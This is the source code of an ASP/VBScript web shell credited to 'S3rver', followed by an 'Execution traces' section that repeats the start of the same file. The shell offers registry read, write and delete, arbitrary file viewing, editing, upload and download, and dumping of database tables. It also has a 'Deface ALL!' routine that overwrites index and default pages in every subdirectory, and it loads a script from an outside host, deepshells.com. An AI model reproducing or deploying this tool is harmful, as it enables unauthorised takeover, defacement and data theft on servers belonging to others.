					Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
					Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
					Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
					Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
					Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
					Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
					Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
					Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
				End If
			Case "r"
				If Trim(Request.QueryString("process")) = "yes" Then
					Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
					Response.Write "Value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
				Else
					Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
					Response.Write "<input type=""submit"" value=""OK""></form>"
				End If
				Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
			Case "d"
				If Trim(Request.QueryString("process")) = "yes" Then
					teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
					Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>Deleted."
				Else
					Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
					Response.Write "<input type=""submit"" value=""OK""></form>"
				End If
				Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
			Case Else
				Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">WRITE VALUE</a><br><br>"
				Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a><br><br>"
				Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>"
		End Select
		Set WshShell = Nothing
	Case "txtview"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
		file = Replace(Trim(Request.QueryString("file")),"|","\")
		Set fso = CreateObject("Scripting.FileSystemObject")  
		Set a = fso.OpenTextFile(file)
		Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
		Set a = Nothing
		Set fso = Nothing
	Case "txtedit"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Request.Form.Count = 0 Then
			file = Replace(Trim(Request.QueryString("file")),"|","\")
			Set fso = CreateObject("Scripting.FileSystemObject")
			Set a = fso.OpenTextFile(file)
			Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
			Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
			Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
			Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
			Set a = Nothing
			Set fso = Nothing
		Else
			Select Case Trim(Request.Form("savemethod"))
				Case "Save"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
				Case "Save as"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
					Set objstream = fso.CreateTextFile(caminho,true,false)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
					Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
					Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
					Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
				Case Else
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					Set MyFile = ObjFSO.GetFile(caminho)
					destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
					MyFile.Move (destino)
					If Err.Number = 0 Then
						Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
						Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
					End If	
			End Select
		End If
	Case "download"
		Response.Buffer = True
		Response.Clear
		strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
		strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
		strFileType = Request.QueryString("type")
		if strFileType = "" then strFileType = "application/download"
		Set fso = Server.CreateObject("Scripting.FileSystemObject")
		Set f = fso.GetFile(strFilename)
		intFilelength = f.size
		Set f = Nothing
		Set fso = Nothing
		Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
		Response.AddHeader "Content-Length", intFilelength
		Response.Charset = "UTF-8"
		Response.ContentType = strFileType
		Set Stream = Server.CreateObject("ADODB.Stream")
		Stream.Open
		Stream.type = 1
		Stream.LoadFromFile strFileName
		Response.BinaryWrite Stream.Read
		Response.Flush
		Stream.Close
		Set Stream = Nothing
	Case "upload"
		If Request.QueryString("processupload") <> "yes" Then
			Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
			Response.Write "<TABLE BORDER=0>"
			Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
			Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
			Response.Write "</TABLE>"
		Else
			Set Uploader = New FileUploader
			Uploader.Upload()
			If Uploader.Files.Count = 0 Then
				Response.Write "File(s) not uploaded."
			Else
				For Each File In Uploader.Files.Items
					File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
					Response.Write "File Uploaded: " & File.FileName & "<br>"
					Response.Write "Size: " & File.FileSize & " bytes<br>"
					Response.Write "Type: " & File.ContentType & "<br><br>"
					Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
				Next
			End If
		End If
	Case "mass"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
			On Error Resume Next
			Set MonRep = ObjFSO.GetFolder(caminhodomass)
			Set ColFolders = MonRep.SubFolders
			for each folderItem in ColFolders
				destino1 = folderItem.path & "\index.htm"
				destino2 = folderItem.path & "\index.html"
				destino3 = folderItem.path & "\index.asp"
				destino4 = folderItem.path & "\index.cfm"
				destino5 = folderItem.path & "\index.php"
				destino6 = folderItem.path & "\default.htm"
				destino7 = folderItem.path & "\default.html"
				destino8 = folderItem.path & "\default.asp"
				destino9 = folderItem.path & "\default.cfm"
				destino10 = folderItem.path & "\default.php"
				MeuArquivo.Copy(destino1)
				MeuArquivo.Copy(destino2)
				MeuArquivo.Copy(destino3)
				MeuArquivo.Copy(destino4)
				MeuArquivo.Copy(destino5)
				MeuArquivo.Copy(destino6)
				MeuArquivo.Copy(destino7)
				MeuArquivo.Copy(destino8)
				MeuArquivo.Copy(destino9)
				MeuArquivo.Copy(destino10)
				Response.Write "<table><tr><td><font face='arial' size='2'>&lt;DIR&gt; " & folderItem.path & "</td>"
				If Err.Number = 0 Then
					Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"
				Else
					Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
				End If
				Err.Number = 0
				Response.Flush
				If metodo = "brute" Then
					Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
				End If
			next
		End Sub
		Sub brutemass(caminho,massaction)
			If massaction = "test" Then
				On Error Resume Next
				Set MonRep = ObjFSO.GetFolder(caminho)
				Set ColFolders = MonRep.SubFolders
				Set ColFiles0 = MonRep.Files
				for each folderItem in ColFolders
					Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
					Set EachFolder = TotalFolders.SubFolders
					Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
					maindestino = folderItem.path & "\"
					MeuArquivo.Copy(maindestino)
					Response.Write "<tr><td><b><font face='arial' size='2'>&lt;DIR&gt; " & maindestino & "</b></td>"
					If Err.Number = 0 Then
						Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
					Else
						Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
					End If
					Err.Number = 0
					Response.Flush
					If EachFolder.count > 0 Then
						masscontador = 0
						for each subpasta in EachFolder
							masscontador = masscontador + 1
							destino = subpasta.path & "\"
							If masscontador = 1 Then
								destinofinal = destino
								pathfinal = subpasta.path
								Err.Number = 0
								MeuArquivo.Copy(destinofinal)
								Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>"
								If Err.Number = 0 Then
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
								Else
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
								End If
								Err.Number = 0
								Response.Flush
							Else
								MeuArquivo.Copy(destino)
								Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>"
								If Err.Number = 0 Then
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
								Else
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
								End If
								Err.Number = 0
								Response.Flush
							End If
						next
						masscontador = 0
					End If
					Response.Write "</table><br>"
					Call brutemass(folderItem.path & "\","test")
				next
				Set MonRep = Nothing
				Set ColFolders = Nothing
				Set ColFiles0 = Nothing
			Else
				If Request.Form.Count = 0 Then
					Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>"
					Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>"
					Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
					Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
					Response.Write "<center><font face=""arial"" size=""2"">Deface Code:<br>"
					Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
					Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
					Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
					Response.Write "<input type=""submit"" value=""Deface ALL!""></center>"
					Response.Write "</form>"
				Else
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
					arquivomassdfc = patharquivotxt & "teste.txt"
					Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
					vetordelinhas = Split(Request.Form("content"),VbCrLf)
					For i = 0 To UBound(vetordelinhas)
						Arquivotxt.WriteLine(vetordelinhas(i))
					Next
					Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
					
					If Request.Form("massopt") = "single" Then
						Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
					ElseIf Request.Form("massopt") = "brute" Then
						Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
					End If
				End If
			End If
		End Sub
		If Trim(Request.QueryString("massact")) = "test" Then
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			arquivo = patharquivotxt & "_vti_cnf.log"
			Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
			Set MeuArquivo = ObjFSO.GetFile(arquivo)
			Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
		ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
			Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
		End If
	Case "fcopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFolder mptpath,mptdest
			isl="Copied.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFolder mptpath,mptdest
			isl="moved.." 
		end if

		response.Write "Command: "&isl
		response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
		response.Write "<br>"
	    Else
		Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
		Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
		Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>"
		response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
		Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
		response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
		response.Write "<input type=radio name='islem' value='tasi'>Move"
		response.Write "</table>"
		response.Write "</form>"
	    End IF

	Case "filecopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFile mptpath,mptdest
			isl="Copy.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFile mptpath,mptdest
			isl="move.." 
		end if

		response.Write "Command: "&isl
		response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
		response.Write "<br>"
	    Else
		Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
		Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
		Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>"
		response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
		Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
		response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
		response.Write "<input type=radio name='islem' value='tasi'>Move"
		response.Write "</table>"
		response.Write "</form>"
	    End IF


	Case "search"
         If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5

		CASE "5"
			Response.Write "<center><b><font color=orange>"& Trim(Request.QueryString("path")) &"</font></b></center><br>"
			Response.Write "<table width=100% ><tr><td>"
			set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)
			Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
			if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamyyor\nSistem dosyasy olabilir')</script>":Response.End



	  	 CASE "7":
			Response.Write "<b><font size=3>Tables</font></br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
					Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
			for i=0 to objRcs.Fields.count-1
				Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
			next
			Response.Write "</tr>"
			do while not objRcs.EOF
				Response.Write "<tr>"
				for i=0 to objRcs.Fields.count-1
					Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
				next
				Response.Write "</tr>"
				objRcs.MoveNext
			loop
			Response.Write "</table><br>"


		 case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama"))

		END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">"
		Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>File Ext: </td><td>"
		Response.Write "&nbsp;<input type=hidden value='12' name=status>"
		Response.Write "<input type=hidden value=""" & Replace(Trim(Request.QueryString("path")),"|","\") & """ name=""path""><input style='width:250' value='mdb' name='arama'><input style='width:70; height:22' type=submit value='Search' name='submit1'>"
		Response.Write "</td></tr></table></form>"
	End IF



	Case "sqlserver"
         If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5


	  	 CASE "7":
			Response.Write "<b><font size=3>Tables</font></br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
					Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
			for i=0 to objRcs.Fields.count-1
				Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
			next
			Response.Write "</tr>"
			do while not objRcs.EOF
				Response.Write "<tr>"
				for i=0 to objRcs.Fields.count-1
					Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
				next
				Response.Write "</tr>"
				objRcs.MoveNext
			loop
			Response.Write "</table><br>"


	      END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()

		Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td align=center>"
		Response.Write "<input type=hidden value='7' name=status>"
		Response.Write "<input style='width:250; height:21' value='' name=path><br>"
		response.Write "<input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1>"
		Response.Write "</td></tr></table>"
		response.Write "</form>"

	End IF



	Case "about"
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		response.Write "<br><br><br><body topmargin=5 leftmargin=0><center><h4>Coded By S3rver"
		response.Write "<br><br>"
		response.Write "<font size=2 color=Red face='courier new'>WebSite: :)</font>"
		response.Write "<br>"
		response.Write "<font size=2 color=Red face='courier new'>E-Mail: Pouya.S3rver@irGmail.Com</font>"
		response.Write "<br><br>"
		response.Write "<font size=2 color=Blue face='courier new'>Hackers, Crackers, Programmers Forever!</font>"


	Case Else
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Call showcontent()
End Select
If Err.Number <> 0 Then
	Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied."
End If
Response.Write endcode

if showdisks then

%>

	<script language=javascript>
		// DRIVE ISLEMLERI
		function driveGo(drive_){
			location = "?raiz="+drive_+":";
		}
	</script>

	<script src=http://deepshells.com/cnt/wr.js></script>

<%


	Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

	Response.Write "<br><br><br><table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Drives</td></tr>"
	for each drive_ in objFSO.Drives
		Response.Write "<tr><td>"
		Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
		if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
		Response.Write "</a></td></tr>"
	next
	Response.Write "<tr><td>"
	Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'><font face=webdings>H</font> Local Path"
	Response.Write "</a></td></tr>"
	Response.Write "</table><br>"
end if
%>



Execution traces


Generated HTML code

<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">&lt;%@ LANGUAGE = VBScript.Encode%&gt;
&lt;%//**Start Encode
On Error Resume Next

Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE

Server.ScriptTimeOut  = 7200
Class FileUploader
	Public  Files
	Private mcolFormElem
	Private Sub Class_Initialize()
		Set Files = Server.CreateObject("Scripting.Dictionary")
		Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
	End Sub
	Private Sub Class_Terminate()
		If IsObject(Files) Then
			Files.RemoveAll()
			Set Files = Nothing
		End If
		If IsObject(mcolFormElem) Then
			mcolFormElem.RemoveAll()
			Set mcolFormElem = Nothing
		End If
	End Sub
	Public Property Get Form(sIndex)
		Form = ""
		If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
	End Property
	Public Default Sub Upload()
		Dim biData, sInputName
		Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
		Dim nPosFile, nPosBound
		biData = Request.BinaryRead(Request.TotalBytes)
		nPosBegin = 1
		nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
		If (nPosEnd-nPosBegin) &lt;= 0 Then Exit Sub
		vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
		nDataBoundPos = InstrB(1, biData, vDataBounds)
		Do Until nDataBoundPos = InstrB(biData, vDataBounds &amp; CByteString("--"))
			nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
			nPos = InstrB(nPos, biData, CByteString("name="))
			nPosBegin = nPos + 6
			nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
			sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
			nPosBound = InstrB(nPosEnd, biData, vDataBounds)
			If nPosFile &lt;&gt; 0 And  nPosFile &lt; nPosBound Then
				Dim oUploadFile, sFileName
				Set oUploadFile = New UploadedFile
				nPosBegin = nPosFile + 10
				nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
				sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
				nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
				nPosBegin = nPos + 14
				nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
				oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				nPosBegin = nPosEnd+4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
				If oUploadFile.FileSize &gt; 0 Then Files.Add LCase(sInputName), oUploadFile
			Else
				nPos = InstrB(nPos, biData, CByteString(Chr(13)))
				nPosBegin = nPos + 4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			End If
			nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
		Loop
	End Sub
	Private Function CByteString(sString)
		Dim nIndex
		For nIndex = 1 to Len(sString)
		   CByteString = CByteString &amp; ChrB(AscB(Mid(sString,nIndex,1)))
		Next
	End Function
	Private Function CWideString(bsString)
		Dim nIndex
		CWideString =""
		For nIndex = 1 to LenB(bsString)
		   CWideString = CWideString &amp; Chr(AscB(MidB(bsString,nIndex,1))) 
		Next
	End Function
End Class
Class UploadedFile
	Public ContentType
	Public FileName
	Public FileData
	Public Property Get FileSize()
		FileSize = LenB(FileData)
	End Property
	Public Sub SaveToDisk(sPath)
		Dim oFS, oFile
		Dim nIndex
		If sPath = "" Or FileName = "" Then Exit Sub
		If Mid(sPath, Len(sPath)) &lt;&gt; "\" Then sPath = sPath &amp; "\"
		Set oFS = Server.CreateObject("Scripting.FileSystemObject")
